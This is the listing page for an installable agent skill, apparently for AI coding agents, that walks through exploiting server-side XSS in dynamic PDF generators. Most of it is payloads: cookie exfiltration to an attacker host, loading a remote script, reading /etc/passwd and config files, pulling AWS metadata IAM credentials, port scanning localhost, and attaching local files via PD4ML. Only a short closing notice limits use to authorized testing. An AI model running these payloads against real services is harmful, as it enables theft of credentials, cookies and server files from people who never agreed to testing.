# Server Side Xss Dynamic PDF

> Server-Side XSS in Dynamic PDF Generation

- Skill: `abelrguezr/server-side-xss-dynamic-pdf` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/server-side-xss-dynamic-pdf`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/server-side-xss-dynamic-pdf/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-21
- Page: https://skillmd.com/skills/abelrguezr/server-side-xss-dynamic-pdf

---


# Server-Side XSS in Dynamic PDF Generation

## Overview

When a web application generates PDFs from user-controlled input, the PDF rendering engine may interpret HTML tags and execute JavaScript. This creates a **Server-Side XSS** vulnerability where you can:

- Execute arbitrary JavaScript in the PDF rendering context
- Read local files (SSRF/file disclosure)
- Access internal network resources
- Extract sensitive data via blind techniques
- Attach local files to the PDF (PD4ML)

## When to Use This Skill

Use this skill when you:
- See a feature that generates PDFs from user input (forms, URLs, templates)
- Encounter HTML-to-PDF conversion endpoints
- Need to test PDF generation libraries for XSS
- Want to escalate XSS to SSRF or local file read
- Are investigating wkhtmltopdf, TCPDF, PDFKit, iText, or FPDF vulnerabilities

## Common PDF Generation Tools

| Tool | Language | Notes |
|------|----------|-------|
| **wkhtmltopdf** | CLI | WebKit-based, widely vulnerable |
| **TCPDF** | PHP | Handles images, encryption |
| **PDFKit** | Node.js | HTML/CSS to PDF |
| **iText** | Java | Digital signatures, forms |
| **FPDF** | PHP | Simple, lightweight |
| **PD4ML** | Java | Supports attachments |

## Exploitation Workflow

### Step 1: Discovery - Confirm XSS is Possible

Start with basic payloads to verify the PDF renderer executes JavaScript:

```html
<!-- Basic discovery - writes visible text to PDF -->
<img src="x" onerror="document.write('XSS CONFIRMED')" />
<script>document.write('XSS WORKS: ' + window.location)</script>
<script>document.write('<iframe src="' + window.location.href + '"></iframe>')</script>
```

**What to look for:** If the PDF contains "XSS CONFIRMED" or similar output, the renderer is executing JavaScript.

### Step 2: Blind Discovery - When You Can't See the PDF

If you cannot view/download the generated PDF, use blind techniques:

```html
<!-- Load external resource - check your server logs -->
<img src="http://attacker.com/ping?xss=1" />

<!-- Exfiltrate cookies via image request -->
<img src=x onerror="location.href='http://attacker.com/?c='+document.cookie">

<!-- Cookie exfiltration via script -->
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>

<!-- Load external stylesheet -->
<link rel="stylesheet" src="http://attacker.com/steal.css" />

<!-- Meta refresh redirect -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/?xss=1" />

<!-- Various media tags that trigger requests -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<svg src="http://attacker.com" />
```

### Step 3: Path Disclosure

Discover what file paths the bot can access:

```html
<!-- Reveal the file:// path being accessed -->
<img src="x" onerror="document.write(window.location)" />
<script>document.write(window.location)</script>
```

This shows you the internal path structure, which helps craft file read payloads.

### Step 4: Load External Scripts

The most flexible approach - load your payload from a remote server:

```html
<!-- Direct script inclusion -->
<script src="http://attacker.com/payload.js"></script>

<!-- Via onerror handler -->
<img src="x" onerror="document.write('<script src=\"http://attacker.com/payload.js\"></script>')" />
```

**Advantage:** You can modify `payload.js` without changing the injection point.

### Step 5: Local File Read / SSRF

Read local files or access internal resources:

```html
<!-- XMLHttpRequest to read local file (base64 encoded) -->
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");
x.send();
</script>

<!-- XMLHttpRequest with error handling -->
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>

<!-- Various iframe/embed techniques -->
<iframe src="file:///etc/passwd"></iframe>
<object data="file:///etc/passwd"></object>
<embed src="file:///etc/passwd" width="400" height="400">
<style><iframe src="file:///etc/passwd"></style>
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />

<!-- AWS metadata SSRF -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
```

### Step 6: SVG Payloads

SVG payloads can contain nested HTML and JavaScript:

```html
<!-- SVG with foreignObject containing iframes -->
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://attacker.burpcollaborator.net" width="800" height="500"></iframe>
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>

<!-- SVG with embedded script -->
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green" id="foo"/>
  <script type="text/javascript">
    alert(1);
  </script>
</svg>
```

### Step 7: Bot Delay Testing

Determine how long the PDF bot waits before timing out:

```html
<script>
    let time = 500;
    setInterval(()=>{
        let img = document.createElement("img");
        img.src = `https://attacker.com/ping?time=${time}ms`;
        time += 500;
    }, 500);
</script>
<img src="https://attacker.com/starting">
```

Monitor your server logs to see the last timestamp received.

### Step 8: Port Scanning

Scan local ports from the PDF rendering context:

```html
<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```

### Step 9: PD4ML Attachments

If the renderer supports PD4ML, attach local files to the PDF:

```html
<html>
  <pd4ml:attachment
    src="/etc/passwd"
    description="attachment sample"
    icon="Paperclip" />
</html>
```

**How to extract:** Open the PDF in Firefox, double-click the paperclip icon to save the attachment.

## Practical Examples

### Example 1: Basic PDF XSS Discovery

**Scenario:** A website generates PDF invoices from user-submitted HTML.

**Payload:**
```html
<img src="x" onerror="document.write('XSS TEST: ' + new Date())" />
```

**Expected result:** PDF contains "XSS TEST: [timestamp]"

### Example 2: Blind Cookie Exfiltration

**Scenario:** PDF is generated but not returned to you.

**Payload:**
```html
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
```

**Expected result:** Your server receives a request with cookie data.

### Example 3: AWS Metadata SSRF

**Scenario:** PDF bot runs on AWS EC2.

**Payload:**
```html
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
```

**Expected result:** PDF contains IAM role credentials.

### Example 4: Local File Read

**Scenario:** PDF bot has access to `/var/www/` directory.

**Payload:**
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///var/www/config.php");
x.send();
</script>
```

**Expected result:** PDF contains config.php contents.

## Tips and Tricks

1. **`<script>` tags don't always work** - Try `<img onerror=...>` or other event handlers
2. **Check for encoding** - The input might be HTML-encoded; try double-encoding
3. **Test multiple PDF engines** - Different tools have different vulnerabilities
4. **Use Burp Collaborator** - For blind XSS, set up a collaborator subdomain
5. **Monitor timing** - Some bots timeout quickly; use delay testing
6. **Try file:// and http://** - Both protocols may work for SSRF
7. **Check for attachments** - PD4ML and similar tools may allow file attachments

## References

- [SVG Cheatsheet](https://github.com/allanlw/svg-cheatsheet)
- [PDF Generator SSRF Guide](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [Intigriti PDF Generator Research](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)

## Safety Notice

Only use these techniques on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.

